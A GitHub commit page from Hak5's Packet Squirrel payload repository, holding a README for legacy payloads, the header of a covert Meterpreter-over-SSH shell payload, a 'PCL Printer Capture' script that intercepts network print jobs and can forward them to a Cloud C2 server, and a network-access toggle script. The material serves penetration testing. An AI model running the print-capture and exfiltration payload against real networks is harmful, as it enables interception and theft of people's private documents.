-
Notifications
You must be signed in to change notification settings - Fork 177
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Update repos for Packet Squirrel Mk 2 release
- Loading branch information
Showing
56 changed files
with
731 additions
and
7 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
# Legacy payloads | ||
|
||
These payloads are for the original Packet Squirrel device. | ||
|
||
They may or may not run without modification on the Packet Squirrel Mark II. | ||
|
||
|
||
## Payload Library for the Packet Squirrel by Hak5 | ||
|
||
This repository contains payloads and extensions for the Hak5 Packet Squirrel. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads. | ||
|
||
## About the Packet Squirrel | ||
|
||
The Packet Squirrel by Hak5 is a stealthy pocket-sized man-in-the-middle. | ||
|
||
This Ethernet multi-tool is designed to give you covert remote access, painless packet captures, and secure VPN connections with the flip of a switch. | ||
|
||
- [Purchase at Hak5](https://hak5.org/products/packet-squirrel "Purchase at Hak5") | ||
- [Documentation](https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel "Documentation") | ||
- [Forums](https://forums.hak5.org/forum/94-packet-squirrel/ "Forums") | ||
- [Discord](https://hak5.org/discord "Discord") | ||
|
||
 | ||
|
||
## Updating | ||
If you've downloaded this repository via `git`, you can update to the latest versions of the payloads with `git pull`. If you downloaded as a zip or other file, please download the latest from [github](https://github.com/hak5/packetsquirrel-payloads/). | ||
|
||
## Disclaimer | ||
Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution. | ||
|
||
## Legal | ||
Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use. | ||
|
||
## Contributing | ||
Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available. | ||
|
||
Please adhere to the following best practices and style guide when submitting a payload. | ||
|
||
### Naming Conventions | ||
Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category. | ||
|
||
### Comments | ||
Payloads should begin with comments specifying at the very least the name of the payload and author. Additional information such as a brief description, the target, any dependencies / prerequisites and the LED status used is helpful. | ||
|
||
# Title: Meterpreter-via-SSH | ||
# Description: Covert meterpreter shell via overt SSH connection | ||
# Author: Zappus | ||
# Version: 1.0 | ||
# Category: Remote-Access | ||
# Net Mode: NAT | ||
# Firmware: 1.2 | ||
# | ||
# LED State Descriptions | ||
# Magenta Solid - Configuring NETMODE | ||
# LED OFF - Waiting for BUTTON | ||
# Red Blink 2 Times - SSH Connection Failed | ||
# Amber Blink 5 Times - SSH Connection Successful | ||
# Red Blink 1 Time - Meterpreter Failed | ||
# Cyan Blink 1 Time - Meterpreter Successful | ||
|
||
### Configuration Options | ||
Configurable options should be specified in variables at the top of the payload.txt file | ||
|
||
# Options | ||
SSH_USER="username" | ||
SSH_HOST="hostname" | ||
MSF_PORT=31337 | ||
|
||
### LED | ||
The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or `NETMODE`. | ||
|
||
LED SETUP | ||
NETMODE NAT | ||
|
||
Common payload states include a `SETUP`, with may include a `FAIL` if certain conditions are not met. This is typically followed by either a single `ATTACK` or multiple `STAGEs`. More complex payloads may include a `SPECIAL` function to wait until certain conditions are met. Payloads commonly end with a `CLEANUP` phase, such as moving and deleting files or stopping services. A payload may `FINISH` when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to `LED` states. |
File renamed without changes.
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
...rary/exfiltration/Email-Sender/payload.sh → ...rary/exfiltration/Email-Sender/payload.sh
100644 → 100755
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
...ibrary/exfiltration/FreeDaNutz/payload.sh → ...ibrary/exfiltration/FreeDaNutz/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
...ds/library/general/I-Hate-Wifi/payload.sh → ...ds/library/general/I-Hate-Wifi/payload.sh
100644 → 100755
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
4 changes: 4 additions & 0 deletions
4
...ds/library/general/Wake-On-Lan/payload.sh → ...ds/library/general/Wake-On-Lan/payload.sh
100644 → 100755
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
File renamed without changes.
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
4 changes: 4 additions & 0 deletions
4
payloads/library/general/caternet/payload.sh → ...loads/library/general/caternet/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
3 changes: 3 additions & 0 deletions
3
.../library/interception/dnsspoof/payload.sh → .../library/interception/dnsspoof/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
payloads/library/recon/ipinfo/payload.txt → ...payloads/library/recon/ipinfo/payload.txt
100644 → 100755
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
payloads/library/recon/nmapdump/payload.sh → ...ayloads/library/recon/nmapdump/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
4 changes: 4 additions & 0 deletions
4
...ote-access/Meterpreter-via-SSH/payload.sh → ...ote-access/Meterpreter-via-SSH/payload.sh
100644 → 100755
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
...ry/remote-access/Togglable-VPN/payload.sh → ...ry/remote-access/Togglable-VPN/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
.../library/remote-access/openvpn/payload.sh → .../library/remote-access/openvpn/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
...ads/library/sniffing/ispyintel/payload.sh → ...ads/library/sniffing/ispyintel/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
4 changes: 4 additions & 0 deletions
4
payloads/library/sniffing/ngrep/payload.sh → ...ayloads/library/sniffing/ngrep/payload.sh
100644 → 100755
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
3 changes: 3 additions & 0 deletions
3
payloads/library/sniffing/tcpdump/payload.sh → ...loads/library/sniffing/tcpdump/payload.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
File renamed without changes.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
#!/bin/bash | ||
|
||
# Title: PCL Printer Capture | ||
# Description: Capture PCL IP printer jobs with a dynamic proxy | ||
# Author: Hak5 | ||
|
||
# To convert PCL files to PDF, use a tool like GhostPCL: | ||
# https://ghostscript.com/releases/gpcldnld.html | ||
# | ||
# To convert a stream (captured-file.stream) to PDF (printed.pdf), use something | ||
# like: | ||
# ./gpcl6-1000-linux-x86_64 -o printed.pdf -sDEVICE=pdfwrite captured-file.stream | ||
|
||
# Do we automatically exfiltrate to Cloud C2? Uncomment to send files to your | ||
# CloudC2 server automatically | ||
# | ||
# USE_C2=1 | ||
|
||
# By default, C2WATCHDIR removes files after they're sent. To keep them, uncomment | ||
# C2_KEEP_FILES below | ||
# | ||
# C2_KEEP_FILES=1 | ||
|
||
LED SETUP | ||
|
||
NETMODE NAT | ||
|
||
# We have to have attached USB | ||
USB_WAIT | ||
|
||
# Make sure the directory exists | ||
mkdir /usb/printer/ | ||
|
||
# If USE_C2 isn't empty, we're uploading to CloudC2 | ||
if [[ ! -z "$USE_C2" ]]; then | ||
# If C2_KEEP_FILES is not empty, we want to preserve the | ||
# files on USB, otherwise run C2WATCHDIR normally and delete | ||
# the files after they are sent. | ||
if [[ ! -z "$C2_KEEP_FILES" ]]; then | ||
C2_KEEP_FILES=1 C2WATCHDIR /usb/printer/ & | ||
else | ||
C2WATCHDIR /usb/printer/ & | ||
fi | ||
|
||
# Give C2WATCHDIR a moment to sync any old files that were present | ||
sleep 3 | ||
fi | ||
|
||
LED ATTACK | ||
|
||
# Use a dynamic proxy to MITM standard PCL IP printers | ||
DYNAMICPROXY CLIENT /usb/printer/print_ 9100 | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
#!/bin/bash | ||
|
||
# Title: Gatekeeper | ||
# | ||
# Description: Toggle access to the network with the pushbutton | ||
# Author: Hak5 | ||
|
||
# Set the default network mode (such as NAT or BRIDGE) | ||
NETWORK_MODE="BRIDGE" | ||
|
||
NETMODE ${NETWORK_MODE} | ||
|
||
LED G SOLID | ||
|
||
while true; do | ||
# Run the buttom command with no LED; this way the LED stays | ||
# solid green | ||
NO_LED=1 BUTTON | ||
|
||
# Check the existing network mode; if we're not the right mode, | ||
# send the target device to jail | ||
if [ $(cat /tmp/squirrel_netmode) == "${NETWORK_MODE}" ]; then | ||
LED R FAST | ||
NETMODE JAIL | ||
LED R SOLID | ||
else | ||
# Set the network mode back to our normal mode | ||
LED G FAST | ||
NETMODE ${NETWORK_MODE} | ||
LED G SOLID | ||
fi | ||
done |
Oops, something went wrong.